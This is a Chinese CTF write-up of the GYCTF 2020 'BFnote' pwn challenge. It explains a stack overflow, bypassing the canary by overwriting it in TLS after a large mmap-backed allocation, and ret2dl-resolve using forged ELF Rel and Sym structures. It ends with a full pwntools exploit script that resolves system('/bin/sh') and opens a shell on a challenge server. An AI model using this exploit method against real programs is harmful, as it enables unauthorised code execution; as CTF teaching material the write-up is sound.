GYCTF 2020-BFnote题目分析
BFnote的题目分析
2020-03-14 08:28:02 by hawkJW
自己太菜了,这道题里面包含的一些知识点和思路确实是以前完全没有接触过的。。。特别学习一下
1. 程序流程总览
首先,按照惯例,我们看一下程序开启的保护措施,如图所示
可以看到,仅仅是没有开启PIE保护,其余基本上保护都开启了,保护还是比较严格的。
下面我们来粗略的浏览一下程序的源代码来分析程序流程
可以看到流程还是比较简单的。其中有明显的两处问题,而这也将成为我们的切入点。
2. 漏洞分析
我们上面提到了,这个程序有明显的两个漏洞。这里说一下,一个是这里,
s的位置在栈上,而这里的输入明显会导致栈溢出,从而修改返回地址——但需要注意的是,因为有canary保护,因此我们首先需要绕过该保护,但实际上,我们发现程序流程中唯一有输出的部分就是最后两个函数,但是即使此时我们已经知道canary的值,也没有办法通过输入进行改变了,因此,这里的canary绕过需要我们一次性在不知道canary的情况下直接绕过,这是一个难点。
第二个漏洞在这里
可以看到,虽然其检测了v4的值,让其不能无限大,但是实际上使用的时候并不是检测后的值,而是检测之间的值,那么这也就是说,我们拥有了一次在任意地址写入任意长度的能力!
介绍完了上面的主要的两个漏洞,我们下面将引入两个知识点作为铺垫——这些知识点将成为解题的关键。
第一点,我们需要明确canary的运作方式,要提到canary的工作方式,首先需要提到一个结构
typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; ... } tcbhead_t;
实际上,这里面的stack_guard中的值也就是canary保护中的canary的值,
这里面,gs寄存器指向的位置实际上就是内存中某处的tcbhead_t,而后面的0x14指的是stack_guard相对的偏移,那么tcbhead_t到底存储在哪里,这里每个libc不同,但是对于pwn题经常使用的lib来说,其分布基本如图所示
也就是恰好在libc地址更下的位置上,但是和mmap一样的,都属于共享映射区域,因此,其相对偏移是固定的,这里就引出了我们的思路,如果我们malloc了一个非常大的内存空间,从而系统不得不通过mmap来为我们分配,那么其分配到的位置也位于共享映射区域中,并且根据mmap的机制,其恰好处于tcbhead_t地址的低地址处,这里在结合我们之前提到的可以向任意地址写入的功能,即可修改canary的值,从而轻松绕过。
第二点,则是着重介绍一下ret2dl-resolve机制,也就是延迟绑定的相关应用。
关于延迟绑定的具体介绍可以看一下这篇blog,我认为写的相当好了。但是我们不需要这么详细的了解——只需要如何利用即可,我在这里总结一下延迟绑定用到的结构及流程
首先其用到了主要的两种结构Sym(32位为
Elf32_Sym,64位为Elf64_Sym
)、Rel(32位为
Elf32_Rel,64位为Elf64_Rel
)
对于Sym,其结构基本如图所示
typedef struct { Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移(4字节) Elf32_Addr st_value; //(4字节) Elf32_Word st_size; //(4字节) unsigned char st_info; //对于导入函数符号而言,它是0x12(1字节) unsigned char st_other; //(1字节) Elf32_Section st_shndx; // (2字节) }Elf32_Sym; //对于导入函数符号而言,其他字段都是0
struct Elf64_Sym { Elf64_Word st_name; //符号名,是相对.dynstr起始的偏移(4字节) unsigned char st_info; //对于导入函数符号而言,它是0x12(1字节) unsigned char st_other; //(1字节) Elf64_Section st_shndx; //(2字节) Elf64_Addr st_value; //(8字节) Elf64_Xword st_size; //(8字节) };//对于导入函数而言,其他字段都是0
对于Rel结构,其结构基本如图所示
typedef struct { Elf32_Addr r_offset;//是got的对应的地址(4字节) Elf32_Word r_info; //(4字节),其中最低字节应该为0x7,前三个字节当做一个数字,是相对.dynsym起始的偏移的下标(即偏移还需要除以0x10) } Elf32_Rel;
typedef struct { Elf64_Xword r_offset; //是got的对应的地址(8字节) Elf64_Xword r_info; //(8字节),其中最低字节应该为0x7,前三个字节当做一个
Elf64_Sxword r_addend; //(8字节)
} Elf64_Rel;
但实际上,一般64位不使用ret2dl-resolve进行攻击,而是用万能gadget进行攻击,因此这里主要讲述32位使用ret2dl-resolve的攻击方法
对于32位的延迟绑定,实际上其最终将会成为如下图的情形
也就是第一个push的值实际上是对应的Rel与.dynrel的相对偏移,
第二个push的是一个结构,这里我们基本不用管,基本上用不上。
下面进行jmp跳转,跳转之后执行的步骤是,首先找到第一个push的偏移所对应的Rel结构,取出里面的info中包含的sym结构的下标,找到对应的sym中的字符串的地址,从而解析到这个名称为该字符串的函数,将其地址写入rel第一项的地址中。此时,将栈清空到一开始push的两个值之前,从而正常执行对应的字符串的函数即可。
3. 漏洞利用
这里漏洞利用就比较简单了,我们重新看一下流程图
一共进行了三次输入,每一次的作用都不一样
第一次的输入,目的是为了修改canary和最终的返回地址以及栈地址(汇编代码中有提到),因为我们会在第二次输入的固定地址处写入shellcode,因此返回地址和汇编地址都在第二次输入的固定地址中。
第二次输入则是为了伪造一个shellcode,我们给出其对应的想要构造处的样子
实际上,对应一下ret2dl-resolve的debug图
我们的ret2dl-resolve实际上设置为.got.plt[0](也就是图中的0x8048450)对应的地址即可,从而他解析完成后会继续按照给定的参数执行。
这里在说明一下,之所以中间有空白,作为gap,是因为执行的时候最后有栈地址的变化,如果没有gap作为阻隔,可能栈的变化会覆盖掉一些重要的数据,从而导致程序崩溃,所以这是一个大坑。。需要留有一定的gap作为栈空间变化的gap
第三次输入就是使用我们之前讲到过的TLS,申请一个大于0x20000的空间,从而使系统使用mmap进行分配,从而完成canary的绕过
最后放出最后wp
#coding:utf-8 from pwn import * context.log_level = 'debug' debug = 1 def exp(debug): elf = ELF('./BFnote') if debug == 1: #r = process('./BFnote') #gdb.attach(r, 'b *0x0804897A') r = gdb.debug('./BFnote', 'b *0x080487A4') lib = ELF('/lib/i386-linux-gnu/libc-2.23.so') else: r = remote('node3.buuoj.cn', 27644) lib = ELF('./libc.so.6') bss_start = 0x0804A060 gap = 0x500 stack_overflow = 'a' * (0x3e - 0xc + 0x8) + p64(bss_start + gap + 0x4) r.recvuntil('Give your description : ') r.send(stack_overflow) r.recvuntil('Give your postscript : ') #--------------------------通过ret2dl——resolve来获取system,从而完成pwn-------------------------------------------- fake_sym = p32(bss_start + gap + 0x4 * 4 + 0x8 - 0x80482C8) + p32(0) + p32(0) + p32(0x12) fake_rel = p32(bss_start) + p32(0x7 + int((bss_start + gap + 0x4 * 4 + 0x8 + 0x8 + 0x8 - 0x080481D8) / 0x10) * 0x100) r.send('\x00' * gap + p32(0x08048450) + p32(bss_start + gap + 0x4 * 4 + 0x8 * 2 - 0x080483D0) + p32(0) + p32(bss_start + gap + 0x4 * 4) + '/bin/sh\x00' + 'system\x00\x00' + fake_rel + fake_sym) r.recvuntil('Give your notebook size : ') r.send(str(0x20000)) #-------------------------通过修改tls绕过canary------------------------ r.recvuntil('Give your title size : ') r.send(str(0xf7d1a714 - 0xf7cf9008 - 16)) r.recvuntil('invalid ! please re-enter :\n') r.send(str(4)) r.recvuntil('Give your title : ') r.send('a') r.recvuntil('Give your note : ') r.send('aaaa') r.interactive() exp(debug)